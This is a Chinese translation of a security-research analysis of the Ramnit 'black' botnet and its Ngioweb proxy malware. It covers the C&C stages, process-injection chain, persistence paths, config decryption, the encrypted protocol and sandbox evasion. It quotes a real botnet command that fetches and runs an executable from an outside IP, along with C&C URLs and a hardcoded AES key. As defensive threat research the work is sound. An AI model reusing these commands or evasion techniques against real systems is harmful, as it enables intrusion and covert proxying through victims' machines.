本文翻译自:https://research.checkpoint.com/ramnits-network-proxy-servers/
作者:Alexey Bukhteyev
Ramnit是目前最大的银行僵尸网络之一,最近checkpoint研究人员发现一起新的Ramnit大规模活动——Black,两个月就感染主机超过10万。其主要作用是将受害者设备变成恶意代理服务器。之后,僵尸网络就可以做很多用途了,研究人员认为这不是攻击活动的冰山一角,也意味着新的大规模攻击活动即将来临。
图2: Ramnit “black”僵尸网络地理分布
僵尸网络有很多新的特征:
Ngioweb是一个多功能的代理服务器,使用自有二层加密的二进制协议进行通信。代理恶意软件支持back-connect模式、relay模式,IPv4、IPv6协议,TCP和UDP传输。恶意软件名来源于恶意软件配置中硬编码的域名ngioweb[.]su
。
文中主要讲述恶意软件使用构建一个多目的的代理僵尸网络。
Ngioweb使用了两阶段的C&C基础设施。STAGE-0 C&C会通知恶意软件关于STAGE-1 C&C服务器的信息。STAGE-1 C&C服务器的作用是通过加密信道来控制恶意软件。
下图是感染过程的通信序列:
图3: Ngioweb感染和早期通信
恶意软件以两种模式运行:
该模式下可以以受感染主机的身份访问远程服务。为了建立STAGE-1 C&C服务器到远程主机的连接,需要执行下面的动作:
图4:用Ngioweb proxy bot访问远程主机
相同模式可以用于访问受感染主机所在的本地网络中的内部资源:
图5: 访问受感染主机所在的本地网络的资源
该模式功能强大,因为恶意软件单元可以用来构建代理链并将恶意软件的服务隐藏在僵尸主机的IP地址背后。
下面是构建Ngioweb僵尸网络使用的隐藏服务需要进行的动作:
图6:用Ngioweb proxy bot创建隐藏的服务
构建代理链:
图7: 构建代理链
僵尸的结构并不考虑STAGE-0 C&C提供的地址属于攻击者还是另一个僵尸主机。
研究人员曾发现Ngioweb样本与Ramnit打包在同一个释放器二进制文件中。但Ngioweb主要通过black僵尸网络进行传播。
通过Ramnit僵尸网络感染非常的简单。每次Ramnit僵尸进入C&C服务器都回接收到一个这样的命令:
{
’command’ : ’getexec “dml://185.44.75.109:443/1/v8.exe” “msiexic.exe”’,
’cmd_id’ : 3,
’TTL’ : 3600
}
Ramnit服务器用命令getexec
使僵尸主机从特定URL下载和运行定制的可执行文件。dml
的意思是下载使用的是Ramnit二进制协议而不是HTTP。getexec
的第二个参数用来指定下载的可执行文件的文件名。
命令的TTL参数说明Ramnit的含有特定cmd_id的命令就会在TTL值的时间内过期,当时间传递过来时需要再次执行。因此,受害者计算机会再次感染Ngioweb恶意软件,直到Ramnit僵尸主机激活。
恶意软件会创建一个注入代码的进程链。
首先,恶意软件会将用process hollowing结束将代码注入新创建的进程msiexec.exe
。
然后,当运行msiexec.exe
进程时,恶意软件就会尝试创建以下进程来注入payload:
在进程链中的最后一个进程中执行主恶意执行。
图10: 进程创建链
为了防止创建多个恶意进程实例,恶意软件会创建一个有特定伪随机名的mutex,然后检查mutex是否存在:
图11: Mutex名生成算法
恶意软件会为下一步创建三个线程:
线程之间的通信使用的是PostQueuedCompletionStatus
和GetQueuedCompletionStatus
API函数:
图12:通知主线程STAGE-0 C&C服务器的新命令
Ngioweb proxy用三种方法来实现在受害者操作系统中驻留:
恶意软件会尝试复制自己到:
Program Files
中的伪随机路径内的%APPDATA%
或%LocalAppData%
目录;%TEMP%
中的伪随机路径。恶意软件会用算法来生成路径并保持可执行文件为下一步的自动运行设置。
选择Program Files ``%APPDATA%``%LocalAppData%
内除Temp `` Common Files `` Uninstall Information
外的随机子文件夹。恶意软件会创建一个伪随机名的子文件夹,然后在文件夹中找到.exe
或.dll
文件,找到的文件名会永固保存恶意软件的可执行文件。如果没有找到.exe
或.dll
文件,恶意软件会递归地搜索内部子文件夹中的其他文件;如果都没有找到,恶意软件就会生成下面的名字:
图13: 文件名生成算法
恶意软件创建子文件夹来保存可执行文件。子文件名的生成使用的是下面的算法:
图14: 子文件名生成算法
因此,恶意软件的目标路径就是这样的:
C:\Program Files\Internet Explorer\v6.8.3.6\uDkxuDgJ.exe
如果没有找到.exe
或.dll
文件,文件名就是这样的:
C:\Program Files\Internet Explorer\v6.8.3.6\iexplore.exe
如果在Program Files
目录中没有找到合适的子文件夹,恶意软件就会在Program Files ``%APPDATA%``%LocalAppData%
中创建一个以8位随机字母命名的文件夹,然后用前面提到的算法来生成内部子文件夹名和.exe
文件名。
对于保存的文件,会设置与ntdll.dll
相同值的新时间戳。
此外,恶意软件还会再选择的目录中创建一个子文件夹,文件夹名与系统目录序列号有关:
图15: 生成二级子文件夹名
生成的文件夹名是这样的:
C:\Program Files\Internet Explorer\2.0.41885\
恶意软件还会在%TEMP%
文件夹中创建子文件夹,并保存一个副本。子文件夹和文件名的生成如下:
图16: 恶意软件的副本生成路径
文件夹和文件的名与硬编码的值有关,所以路径与每个受感染的机器是一样的:
%TEMP%\{D2309EFC-AB81-74D2-4D23-1674D2309EFC}\ROPYRmXM.exe
创建的文件和文件夹都使用EncryptFile
API函数进行加密。
恶意软件会创建两个定时任务:
图17: 开启恶意软件的定时任务
定时任务名是用系统的函数生成的,用于生成mutex和event的名:
图18: 生成的任务名
因此定时任务名和受害者机器名是一样的:
{09EFC5AB-D230-AB81-74D2-4D2309EFC5AB}
{D2309EFC-AB81-74D2-4D23-1674D2309EFC}
恶意软件配置中的数据有:
配置以加密格式保存,配置区块的前32字节是AES -256密钥,用于解密配置。APLib用于解压缩:
图19: 解密、提取配置区块
解密后就可以提取配置中的数据:
图20: 解密的恶意软件配置
每个配置域都预先加入了2字节的长度。比如第一个域(AES -256密钥)的长度是0x20。
配置含有下面的区块:
恶意软件用HTTP协议连接STAGE-0 C&C服务器。HTTP请求的URL是从配置中获取的:
http://46.161.40.50:443/vnnf4pffztd356ey
恶意软件会创建一个从20个随机字母中进行字符串查询的HTTP GET,HTTP请求的User-Agent
参数硬编码在样本中。请求格式如下:
GET /vnnf4pffztd356ey?fafgxybetmnqvmtifcle HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: 46.161.40.50
Cache-Control: no-cache
服务器响应中含有命令和Base64编码的服务器数字证书:
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 07 Jun 2018 02:54:59 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
8
WAIT 60
b2
CERT 7PYB0XUnrvomid0DDnlFchiogTULgdmyBz6Rro3hfyyRRqXBzX+W5mbomWG4sKc0i8DTRgV6HuvPqZ6BKgEcIW+jMchM82Zj+vxt9c0js/6Ykg7GcgVNU2v5Un6hrjwWoYHgLdc3lbyGa7bBuRYxV3V+8gxHF2whnIRmfGM2PVM=
0
并支持下面的命令:
恶意软件在接收到命令CONNECT host:port
后,会创建到特定STAGE-1 C&C服务器的连接。然后用自由的二进制协议(基于TCP)进行通信,来自服务器和客户端的消息都以长度为16字节的header开始。
Header使用了2层加密:
第一层是ECB模式的AES密文,加密密钥保存在恶意软件配置中;
分析的样本中的AES密钥为:
ava5df#be45av^bbdgq!hiuyyhh4327$
AES解密后,header的前4字节chunk会作为XOR密钥解密header的其他部分。解密后,header的格式如下:
恶意软件会将header进行语义分析,获得传输数据的长度和CRC32校验码。消息的数据会进行2层加密,密钥同时用于解密。
解密的消息中含有多个chunk,每个chunk都以表示chunk类型的字节开始:
Chunk的数量和类型与message code有关。
恶意软件支持以下message code:
C&C服务器发送的消息,message code的高字节是0x10
,而僵尸主机发送的消息的message code的高字节是0x00
。
恶意软件样本中的所有字符串都用Stack strings obfuscation
结束进行了混淆。因此,字符串不以明文也不以加密的形式保存,也很难在恶意软件二进制文件中找到。每个字符串都在函数主体中一个字符一个字符地填充:
图21: 字符串混淆
当恶意软件需要调用API函数时,首先用哈希对来解析目标函数的地址,然后用解析的地址调用API函数:
图22: API调用混淆
恶意软件还使用了一些绕过结束来检测沙箱环境和研究用软件,在查询STAGE-0 C&C服务器之前会进行循环检查。如果检查到沙箱或分析环境,恶意软件就会从加密区块中提取出假的C&C服务器地址,并用来代替真实的配置。
样本中使用的假的配置有:
http://104.144.207.211:443/vnnf4pffztd356ey
http://46.161.40.50:443/vnnf4pffztd356ey